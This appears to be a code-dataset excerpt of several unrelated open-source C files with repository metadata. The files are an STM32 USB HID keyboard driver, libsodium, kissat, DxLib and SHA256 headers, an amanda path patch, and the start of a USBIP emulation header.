* <h2><center>© COPYRIGHT 2014 STMicroelectronics</center></h2>
*
* Licensed under MCD-ST Liberty SW License Agreement V2, (the "License");
* You may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.st.com/software_license_agreement_liberty_v2
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "usbh_hid_keybd.h"
#include "usbh_hid_parser.h"
/** @addtogroup USBH_LIB
* @{
*/
/** @addtogroup USBH_CLASS
* @{
*/
/** @addtogroup USBH_HID_CLASS
* @{
*/
/** @defgroup USBH_HID_KEYBD
* @brief This file includes HID Layer Handlers for USB Host HID class.
* @{
*/
/** @defgroup USBH_HID_KEYBD_Private_TypesDefinitions
* @{
*/
/**
* @}
*/
/** @defgroup USBH_HID_KEYBD_Private_Defines
* @{
*/
/**
* @}
*/
#ifndef AZERTY_KEYBOARD
#define QWERTY_KEYBOARD
#endif
#define KBD_LEFT_CTRL 0x01
#define KBD_LEFT_SHIFT 0x02
#define KBD_LEFT_ALT 0x04
#define KBD_LEFT_GUI 0x08
#define KBD_RIGHT_CTRL 0x10
#define KBD_RIGHT_SHIFT 0x20
#define KBD_RIGHT_ALT 0x40
#define KBD_RIGHT_GUI 0x80
#define KBR_MAX_NBR_PRESSED 6
/** @defgroup USBH_HID_KEYBD_Private_Macros
* @{
*/
/**
* @}
*/
/** @defgroup USBH_HID_KEYBD_Private_FunctionPrototypes
* @{
*/
static USBH_StatusTypeDef USBH_HID_KeybdDecode(USBH_HandleTypeDef *phost);
/**
* @}
*/
/** @defgroup USBH_HID_KEYBD_Private_Variables
* @{
*/
HID_KEYBD_Info_TypeDef keybd_info;
uint32_t keybd_report_data[2];
static const HID_Report_ItemTypedef imp_0_lctrl={
(uint8_t*)keybd_report_data+0, /*data*/
1, /*size*/
0, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min vale device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
static const HID_Report_ItemTypedef imp_0_lshift={
(uint8_t*)keybd_report_data+0, /*data*/
1, /*size*/
1, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min vale device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
static const HID_Report_ItemTypedef imp_0_lalt={
(uint8_t*)keybd_report_data+0, /*data*/
1, /*size*/
2, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min vale device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
static const HID_Report_ItemTypedef imp_0_lgui={
(uint8_t*)keybd_report_data+0, /*data*/
1, /*size*/
3, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min vale device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
static const HID_Report_ItemTypedef imp_0_rctrl={
(uint8_t*)keybd_report_data+0, /*data*/
1, /*size*/
4, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min vale device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
static const HID_Report_ItemTypedef imp_0_rshift={
(uint8_t*)keybd_report_data+0, /*data*/
1, /*size*/
5, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min vale device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
static const HID_Report_ItemTypedef imp_0_ralt={
(uint8_t*)keybd_report_data+0, /*data*/
1, /*size*/
6, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min vale device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
static const HID_Report_ItemTypedef imp_0_rgui={
(uint8_t*)keybd_report_data+0, /*data*/
1, /*size*/
7, /*shift*/
0, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
1, /*max value read can return*/
0, /*min vale device can report*/
1, /*max value device can report*/
1 /*resolution*/
};
static const HID_Report_ItemTypedef imp_0_key_array={
(uint8_t*)keybd_report_data+2, /*data*/
8, /*size*/
0, /*shift*/
6, /*count (only for array items)*/
0, /*signed?*/
0, /*min value read can return*/
101, /*max value read can return*/
0, /*min vale device can report*/
101, /*max value device can report*/
1 /*resolution*/
};
#ifdef QWERTY_KEYBOARD
static const int8_t HID_KEYBRD_Key[] = {
'\0', '`', '1', '2', '3', '4', '5', '6',
'7', '8', '9', '0', '-', '=', '\0', '\r',
'\t', 'q', 'w', 'e', 'r', 't', 'y', 'u',
'i', 'o', 'p', '[', ']', '\\',
'\0', 'a', 's', 'd', 'f', 'g', 'h', 'j',
'k', 'l', ';', '\'', '\0', '\n',
'\0', '\0', 'z', 'x', 'c', 'v', 'b', 'n',
'm', ',', '.', '/', '\0', '\0',
'\0', '\0', '\0', ' ', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\r', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '7', '4', '1',
'\0', '/', '8', '5', '2',
'0', '*', '9', '6', '3',
'.', '-', '+', '\0', '\n', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0'
};
static const int8_t HID_KEYBRD_ShiftKey[] = {
'\0', '~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')',
'_', '+', '\0', '\0', '\0', 'Q', 'W', 'E', 'R', 'T', 'Y', 'U',
'I', 'O', 'P', '{', '}', '|', '\0', 'A', 'S', 'D', 'F', 'G',
'H', 'J', 'K', 'L', ':', '"', '\0', '\n', '\0', '\0', 'Z', 'X',
'C', 'V', 'B', 'N', 'M', '<', '>', '?', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0'
};
#else
static const int8_t HID_KEYBRD_Key[] = {
'\0', '`', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0',
'-', '=', '\0', '\r', '\t', 'a', 'z', 'e', 'r', 't', 'y', 'u',
'i', 'o', 'p', '[', ']', '\\', '\0', 'q', 's', 'd', 'f', 'g',
'h', 'j', 'k', 'l', 'm', '\0', '\0', '\n', '\0', '\0', 'w', 'x',
'c', 'v', 'b', 'n', ',', ';', ':', '!', '\0', '\0', '\0', '\0',
'\0', ' ', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\r', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '7', '4', '1','\0', '/',
'8', '5', '2', '0', '*', '9', '6', '3', '.', '-', '+', '\0',
'\n', '\0', '\0', '\0', '\0', '\0', '\0','\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0'
};
static const int8_t HID_KEYBRD_ShiftKey[] = {
'\0', '~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_',
'+', '\0', '\0', '\0', 'A', 'Z', 'E', 'R', 'T', 'Y', 'U', 'I', 'O',
'P', '{', '}', '*', '\0', 'Q', 'S', 'D', 'F', 'G', 'H', 'J', 'K',
'L', 'M', '%', '\0', '\n', '\0', '\0', 'W', 'X', 'C', 'V', 'B', 'N',
'?', '.', '/', '\0', '\0', '\0','\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0',
'\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0'
};
#endif
static const uint8_t HID_KEYBRD_Codes[] = {
0, 0, 0, 0, 31, 50, 48, 33,
19, 34, 35, 36, 24, 37, 38, 39, /* 0x00 - 0x0F */
52, 51, 25, 26, 17, 20, 32, 21,
23, 49, 18, 47, 22, 46, 2, 3, /* 0x10 - 0x1F */
4, 5, 6, 7, 8, 9, 10, 11,
43, 110, 15, 16, 61, 12, 13, 27, /* 0x20 - 0x2F */
28, 29, 42, 40, 41, 1, 53, 54,
55, 30, 112, 113, 114, 115, 116, 117, /* 0x30 - 0x3F */
118, 119, 120, 121, 122, 123, 124, 125,
126, 75, 80, 85, 76, 81, 86, 89, /* 0x40 - 0x4F */
79, 84, 83, 90, 95, 100, 105, 106,
108, 93, 98, 103, 92, 97, 102, 91, /* 0x50 - 0x5F */
96, 101, 99, 104, 45, 129, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, /* 0x60 - 0x6F */
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, /* 0x70 - 0x7F */
0, 0, 0, 0, 0, 107, 0, 56,
0, 0, 0, 0, 0, 0, 0, 0, /* 0x80 - 0x8F */
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, /* 0x90 - 0x9F */
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, /* 0xA0 - 0xAF */
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, /* 0xB0 - 0xBF */
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, /* 0xC0 - 0xCF */
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, /* 0xD0 - 0xDF */
58, 44, 60, 127, 64, 57, 62, 128 /* 0xE0 - 0xE7 */
};
/**
* @brief USBH_HID_KeybdInit
* The function init the HID keyboard.
* @param phost: Host handle
* @retval USBH Status
*/
USBH_StatusTypeDef USBH_HID_KeybdInit(USBH_HandleTypeDef *phost)
{
uint32_t x;
HID_HandleTypeDef *HID_Handle = phost->pActiveClass->pData;
keybd_info.lctrl=keybd_info.lshift= 0;
keybd_info.lalt=keybd_info.lgui= 0;
keybd_info.rctrl=keybd_info.rshift= 0;
keybd_info.ralt=keybd_info.rgui=0;
for(x=0; x< (sizeof(keybd_report_data)/sizeof(uint32_t)); x++)
{
keybd_report_data[x]=0;
}
if(HID_Handle->length > (sizeof(keybd_report_data)/sizeof(uint32_t)))
{
HID_Handle->length = (sizeof(keybd_report_data)/sizeof(uint32_t));
}
HID_Handle->pData = (uint8_t*)keybd_report_data;
fifo_init(&HID_Handle->fifo, phost->device.Data, HID_QUEUE_SIZE * sizeof(keybd_report_data));
return USBH_OK;
}
/**
* @brief USBH_HID_GetKeybdInfo
* The function return keyboard information.
* @param phost: Host handle
* @retval keyboard information
*/
HID_KEYBD_Info_TypeDef *USBH_HID_GetKeybdInfo(USBH_HandleTypeDef *phost)
{
if(USBH_HID_KeybdDecode(phost) == USBH_OK)
{
return &keybd_info;
}
else
{
return NULL;
}
}
/**
* @brief USBH_HID_KeybdDecode
* The function decode keyboard data.
* @param phost: Host handle
* @retval USBH Status
*/
static USBH_StatusTypeDef USBH_HID_KeybdDecode(USBH_HandleTypeDef *phost)
{
uint8_t x;
HID_HandleTypeDef *HID_Handle = phost->pActiveClass->pData;
if(HID_Handle->length == 0)
{
return USBH_FAIL;
}
/*Fill report */
if(fifo_read(&HID_Handle->fifo, &keybd_report_data, HID_Handle->length) == HID_Handle->length)
{
keybd_info.lctrl=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &imp_0_lctrl, 0);
keybd_info.lshift=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &imp_0_lshift, 0);
keybd_info.lalt=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &imp_0_lalt, 0);
keybd_info.lgui=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &imp_0_lgui, 0);
keybd_info.rctrl=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &imp_0_rctrl, 0);
keybd_info.rshift=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &imp_0_rshift, 0);
keybd_info.ralt=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &imp_0_ralt, 0);
keybd_info.rgui=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &imp_0_rgui, 0);
for(x=0; x < sizeof(keybd_info.keys); x++)
{
keybd_info.keys[x]=(uint8_t)HID_ReadItem((HID_Report_ItemTypedef *) &imp_0_key_array, x);
}
return USBH_OK;
}
return USBH_FAIL;
}
/**
* @brief USBH_HID_GetASCIICode
* The function decode keyboard data into ASCII characters.
* @param phost: Host handle
* @param info: Keyboard information
* @retval ASCII code
*/
uint8_t USBH_HID_GetASCIICode(HID_KEYBD_Info_TypeDef *info)
{
uint8_t output;
if((info->lshift == 1) || (info->rshift))
{
output = HID_KEYBRD_ShiftKey[HID_KEYBRD_Codes[info->keys[0]]];
}
else
{
output = HID_KEYBRD_Key[HID_KEYBRD_Codes[info->keys[0]]];
}
return output;
}
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
9fecf1a6dca8a23360c32b29c32dcf130eac6076
|
c0bfd93cd7f26a271268e504959256f1e02c6806
|
/components/libsodium/libsodium/src/libsodium/crypto_stream/chacha20/ref/chacha20_ref.h
|
6ac48075546907560a552a907f15ceae1ec6af72
|
[
"Apache-2.0",
"ISC"
] |
permissive
|
espressif/ESP8266_RTOS_SDK
|
606f396e92d2675d9854f0fabd88587fbbbaf267
|
af0cdc36fa2600033d0a09301c754008cf1503c1
|
refs/heads/master
| 2023-08-24T22:40:15.373553
| 2023-05-06T02:04:24
| 2023-05-06T02:04:24
| 27,584,181
| 3,163
| 1,749
|
Apache-2.0
| 2023-08-09T10:48:13
| 2014-12-05T09:27:12
|
C
|
UTF-8
|
C
| false
| false
| 190
|
h
|
chacha20_ref.h
|
#include <stdint.h>
#include "../stream_chacha20.h"
#include "crypto_stream_chacha20.h"
extern struct crypto_stream_chacha20_implementation
crypto_stream_chacha20_ref_implementation;
|
5aeff412b292ba496d6f5284d5dd46589f29028e
|
25c64fb97b7cdb30ec1b6ddd2acf9a755fc33adf
|
/src/arena.h
|
da83c7e399d8e501514cf2f0e4bd87cd26ee0ede
|
[
"MIT"
] |
permissive
|
arminbiere/kissat
|
386c1cfadf43562d36fccc47064c95296c9b812f
|
630d64d4d63c2816fc79a1a0340286b39677e97d
|
refs/heads/master
| 2023-09-04T01:39:44.293487
| 2023-06-24T15:51:43
| 2023-06-24T15:51:43
| 267,257,286
| 350
| 63
|
MIT
| 2022-06-23T12:15:24
| 2020-05-27T07:57:59
|
C
|
UTF-8
|
C
| false
| false
| 859
|
h
|
arena.h
|
#ifndef _arena_h_INCLUDED
#define _arena_h_INCLUDED
#include "reference.h"
#include "stack.h"
#include "utilities.h"
#ifdef COMPACT
typedef word ward;
#else
typedef w2rd ward;
#endif
#define LD_MAX_ARENA_32 (29 - (unsigned) sizeof (ward) / 4)
#define LD_MAX_ARENA ((sizeof (word) == 4) ? LD_MAX_ARENA_32 : LD_MAX_REF)
#define MAX_ARENA ((size_t) 1 << LD_MAX_ARENA)
// clang-format off
typedef STACK (ward) arena;
// clang-format on
struct clause;
struct kissat;
reference kissat_allocate_clause (struct kissat *, size_t size);
void kissat_shrink_arena (struct kissat *);
#if !defined(NDEBUG) || defined(LOGGING)
bool kissat_clause_in_arena (const struct kissat *, const struct clause *);
#endif
static inline word kissat_align_ward (word w) {
#ifdef COMPACT
return kissat_align_word (w);
#else
return kissat_align_w2rd (w);
#endif
}
#endif
|
824d1feba41068bf711d303fc1f6dbb1dc3d263d
|
65f701245abf47c39aa46a56fde46443606a601e
|
/DxLib/exBin/DxLib/Windows/DxShader_PS_D3D11.h
|
9bdee19594dfcf27f33e24493f00bd0efabe45c7
|
[] |
no_license
|
regomne/chinesize
|
401aaccd744cef245b114f74a8c06f9f8c467519
|
0c7be6eed8e1a0c5ab7b25024fc5e21125967c7f
|
refs/heads/master
| 2023-06-26T06:52:37.530610
| 2023-06-17T14:49:55
| 2023-06-17T14:49:55
| 14,193,455
| 239
| 110
| null | 2023-04-10T09:36:23
| 2013-11-07T03:43:50
|
C++
|
UTF-8
|
C
| false
| false
| 2,326
|
h
|
DxShader_PS_D3D11.h
|
// -------------------------------------------------------------------------------
//
// DXライブラリ ピクセルシェーダー関連定義
//
// Ver 3.20c
//
// -------------------------------------------------------------------------------
#ifndef __DXSHADER_PS_D3D11_H__
#define __DXSHADER_PS_D3D11_H__
// インクルード ---------------------------------
#include "DxShader_Common_D3D11.h"
// マクロ定義 -----------------------------------
#define DX_VERTEXLIGHTING_LIGHT_NUM (3) // 頂点単位ライティングで同時に使用できるライトの最大数
#define DX_PIXELLIGHTING_LIGHT_NUM (6) // ピクセル単位ライティングで同時に使用できるライトの最大数
#define DX_D3D11_PS_CONST_FILTER_SIZE (256) // フィルター用定数バッファのサイズ
// データ型定義 ---------------------------------
// シャドウマップパラメータ
struct DX_D3D11_PS_CONST_SHADOWMAP
{
DX_D3D11_SHADER_FLOAT AdjustDepth ; // 閾値深度補正値
DX_D3D11_SHADER_FLOAT GradationParam ; // グラデーション範囲
DX_D3D11_SHADER_FLOAT Enable_Light0 ; // ライト0への適用情報
DX_D3D11_SHADER_FLOAT Enable_Light1 ; // ライト1への適用情報
DX_D3D11_SHADER_FLOAT Enable_Light2 ; // ライト2への適用情報
DX_D3D11_SHADER_FLOAT3 Padding ; // パディング
} ;
// 定数バッファピクセルシェーダー基本パラメータ
struct DX_D3D11_PS_CONST_BUFFER_BASE
{
DX_D3D11_SHADER_FLOAT4 FactorColor ; // アルファ値等
DX_D3D11_SHADER_FLOAT MulAlphaColor ; // カラーにアルファ値を乗算するかどうか( 0.0f:乗算しない 1.0f:乗算する )
DX_D3D11_SHADER_FLOAT AlphaTestRef ; // アルファテストで使用する比較値
DX_D3D11_SHADER_FLOAT2 Padding1 ;
DX_D3D11_SHADER_INT AlphaTestCmpMode ; // アルファテスト比較モード( DX_CMP_NEVER など )
DX_D3D11_SHADER_INT3 Padding2 ;
DX_D3D11_SHADER_FLOAT4 IgnoreTextureColor ; // テクスチャカラー無視処理用カラー
} ;
// 定数バッファシャドウマップパラメータ
struct DX_D3D11_PS_CONST_BUFFER_SHADOWMAP
{
DX_D3D11_PS_CONST_SHADOWMAP Data[ 3 ] ;
} ;
#endif // __DXSHADER_PS_D3D11_H__
|
636e32859a9f52a57ce9d5ed491b161405c7d0a0
|
fcd6e910f44c1b72669aede7330b72dd8c4426d8
|
/src/crypto/yespower-1.0.1/sha256.h
|
6210502ff1b44ea6bc6673fd9487d99ab294b7fb
|
[
"MIT"
] |
permissive
|
sugarchain-project/sugarchain
|
a56dbb040883215334e7bfa74f150c15bac62c3c
|
8db2b95e10e96aa049d1e6239760f0f7f0b451b0
|
refs/heads/master-v0.16.3
| 2023-02-16T12:47:57.574025
| 2021-12-13T02:04:25
| 2021-12-13T02:04:25
| 203,563,742
| 155
| 88
|
MIT
| 2023-02-11T18:04:01
| 2019-08-21T10:44:29
|
C++
|
UTF-8
|
C
| false
| false
| 4,199
|
h
|
sha256.h
|
/*-
* Copyright 2005-2016 Colin Percival
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef _SHA256_H_
#define _SHA256_H_
#include <stddef.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
/*
* Use #defines in order to avoid namespace collisions with anyone else's
* SHA256 code (e.g., the code in OpenSSL).
*/
#define SHA256_Init libcperciva_SHA256_Init
#define SHA256_Update libcperciva_SHA256_Update
#define SHA256_Final libcperciva_SHA256_Final
#define SHA256_Buf libcperciva_SHA256_Buf
#define SHA256_CTX libcperciva_SHA256_CTX
#define HMAC_SHA256_Init libcperciva_HMAC_SHA256_Init
#define HMAC_SHA256_Update libcperciva_HMAC_SHA256_Update
#define HMAC_SHA256_Final libcperciva_HMAC_SHA256_Final
#define HMAC_SHA256_Buf libcperciva_HMAC_SHA256_Buf
#define HMAC_SHA256_CTX libcperciva_HMAC_SHA256_CTX
/* Context structure for SHA256 operations. */
typedef struct {
uint32_t state[8];
uint64_t count;
uint8_t buf[64];
} SHA256_CTX;
/**
* SHA256_Init(ctx):
* Initialize the SHA256 context ${ctx}.
*/
void SHA256_Init(SHA256_CTX *);
/**
* SHA256_Update(ctx, in, len):
* Input ${len} bytes from ${in} into the SHA256 context ${ctx}.
*/
void SHA256_Update(SHA256_CTX *, const void *, size_t);
/**
* SHA256_Final(digest, ctx):
* Output the SHA256 hash of the data input to the context ${ctx} into the
* buffer ${digest}.
*/
void SHA256_Final(uint8_t[32], SHA256_CTX *);
/**
* SHA256_Buf(in, len, digest):
* Compute the SHA256 hash of ${len} bytes from ${in} and write it to ${digest}.
*/
void SHA256_Buf(const void *, size_t, uint8_t[32]);
/* Context structure for HMAC-SHA256 operations. */
typedef struct {
SHA256_CTX ictx;
SHA256_CTX octx;
} HMAC_SHA256_CTX;
/**
* HMAC_SHA256_Init(ctx, K, Klen):
* Initialize the HMAC-SHA256 context ${ctx} with ${Klen} bytes of key from
* ${K}.
*/
void HMAC_SHA256_Init(HMAC_SHA256_CTX *, const void *, size_t);
/**
* HMAC_SHA256_Update(ctx, in, len):
* Input ${len} bytes from ${in} into the HMAC-SHA256 context ${ctx}.
*/
void HMAC_SHA256_Update(HMAC_SHA256_CTX *, const void *, size_t);
/**
* HMAC_SHA256_Final(digest, ctx):
* Output the HMAC-SHA256 of the data input to the context ${ctx} into the
* buffer ${digest}.
*/
void HMAC_SHA256_Final(uint8_t[32], HMAC_SHA256_CTX *);
/**
* HMAC_SHA256_Buf(K, Klen, in, len, digest):
* Compute the HMAC-SHA256 of ${len} bytes from ${in} using the key ${K} of
* length ${Klen}, and write the result to ${digest}.
*/
void HMAC_SHA256_Buf(const void *, size_t, const void *, size_t, uint8_t[32]);
/**
* PBKDF2_SHA256(passwd, passwdlen, salt, saltlen, c, buf, dkLen):
* Compute PBKDF2(passwd, salt, c, dkLen) using HMAC-SHA256 as the PRF, and
* write the output to buf. The value dkLen must be at most 32 * (2^32 - 1).
*/
void PBKDF2_SHA256(const uint8_t *, size_t, const uint8_t *, size_t,
uint64_t, uint8_t *, size_t);
#ifdef __cplusplus
}
#endif
#endif /* !_SHA256_H_ */
|
893e3c1e3f28c064e55ddb40723e675ba2a4e114
|
220c48a1ef7cf32a039c2d2ca69b9bd1541f294b
|
/framework/framework_all.h
|
1abc5d4ec490a52bb7ed27a3d254139c8eb032ff
|
[
"MIT",
"BSL-1.0",
"LicenseRef-scancode-public-domain",
"CC-BY-3.0"
] |
permissive
|
paroj/gltut
|
9b46265787530a512e7bbdf15b0985589d6a1543
|
849521f162f4b4f04f8f959c6759b93c524eba55
|
refs/heads/master
| 2023-08-22T17:08:22.414353
| 2022-08-20T10:23:35
| 2022-08-20T10:23:35
| 48,700,835
| 1,406
| 389
|
MIT
| 2022-08-20T10:05:17
| 2015-12-28T16:12:54
|
C++
|
UTF-8
|
C
| false
| false
| 278
|
h
|
framework_all.h
|
#ifndef FRAMEWORK_ALL_H
#define FRAMEWORK_ALL_H
#include "framework.h"
#include "Mesh.h"
#include "MousePole.h"
#include "Scene.h"
#include "SceneBinders.h"
#include "Timer.h"
#include "UniformBlockArray.h"
#include "Interpolators.h"
#endif //FRAMEWORK_ALL_H
|
609311399be2b9c60abd7b4c665053b8e96ca83c
|
376e1818d427b5e4d32fa6dd6c7b71e9fd88afdb
|
/sysutils/amanda-common/patches/patch-common-src_conffile.c
|
449a2cf467980a00ab68be782ec86d261e28fc11
|
[] |
no_license
|
NetBSD/pkgsrc
|
a0732c023519650ef821ab89c23ab6ab59e25bdb
|
d042034ec4896cc5b47ed6f2e5b8802d9bc5c556
|
refs/heads/trunk
| 2023-09-01T07:40:12.138283
| 2023-09-01T05:25:19
| 2023-09-01T05:25:19
| 88,439,572
| 321
| 138
| null | 2023-07-12T22:34:14
| 2017-04-16T20:04:15
| null |
UTF-8
|
C
| false
| false
| 1,491
|
c
|
patch-common-src_conffile.c
|
$NetBSD: patch-common-src_conffile.c,v 1.2 2018/11/23 22:33:13 spz Exp $
Update the defaults for a few things to use LOCALSTATEDIR (which will
be $VARBASE/amanda) instead of compiling in /usr/adm, which no system
has shipped in the last twenty years or so. PR 38958.
--- common-src/conffile.c.orig 2016-02-09 22:52:51.000000000 +0000
+++ common-src/conffile.c
@@ -36,6 +36,7 @@
#include "util.h"
#include "conffile.h"
#include "clock.h"
+#include "configmake.h"
#include <glib.h>
/*
@@ -5295,9 +5296,9 @@ init_defaults(
conf_init_str (&conf_data[CNF_LABELSTR] , ".*");
conf_init_str (&conf_data[CNF_TAPELIST] , "tapelist");
conf_init_str (&conf_data[CNF_DISKFILE] , "disklist");
- conf_init_str (&conf_data[CNF_INFOFILE] , "/usr/adm/amanda/curinfo");
- conf_init_str (&conf_data[CNF_LOGDIR] , "/usr/adm/amanda");
- conf_init_str (&conf_data[CNF_INDEXDIR] , "/usr/adm/amanda/index");
+ conf_init_str (&conf_data[CNF_INFOFILE] , LOCALSTATEDIR "/curinfo");
+ conf_init_str (&conf_data[CNF_LOGDIR] , LOCALSTATEDIR);
+ conf_init_str (&conf_data[CNF_INDEXDIR] , LOCALSTATEDIR "/index");
conf_init_ident (&conf_data[CNF_TAPETYPE] , "DEFAULT_TAPE");
conf_init_identlist(&conf_data[CNF_HOLDINGDISK] , NULL);
conf_init_int (&conf_data[CNF_DUMPCYCLE] , CONF_UNIT_NONE, 10);
|
0bdc64cc265ea240ac70572bc2d3229818cfda48
|
cf018ce220ee461704e7fedf842dbf074025da54
|
/pc/usbip.h
|
5a6f15709bdfdf40eafadaf667d3c163e542096e
|
[] |
no_license
|
solokeys/openpgp
|
fdc0096b2f294746959519e5858aa9eec841ecf7
|
5e5080f2b258b11921573dab87167d69cebef00d
|
refs/heads/master
| 2021-06-26T05:53:10.663925
| 2021-06-14T16:11:17
| 2021-06-14T16:11:17
| 187,276,756
| 122
| 11
| null | 2021-06-25T01:30:28
| 2019-05-17T20:20:30
|
C
|
UTF-8
|
C
| false
| false
| 20,252
|
h
|
usbip.h
|
/* ########################################################################
USBIP hardware emulation
########################################################################
Copyright (c) : 2016 Luis Claudio Gambôa Lopes
Copyright (c) : 2019 Oleg Moiseenko
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
For e-mail suggestions : lcgamboa@yahoo.com
######################################################################## */
#ifndef USBIP_H_
#define USBIP_H_
#define LINUX = __linux__
#ifdef LINUX
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/un.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#define min(a,b) ((a) < (b) ? (a) : (b))
#else
#include<winsock.h>
#endif
//system headers independent
#include<errno.h>
#include<stdarg.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<stdint.h>
//defines
#define TCP_SERV_PORT 3240
typedef struct sockaddr sockaddr;
//USB definitions
#define byte uint8_t
#define word uint16_t
#define dword uint32_t
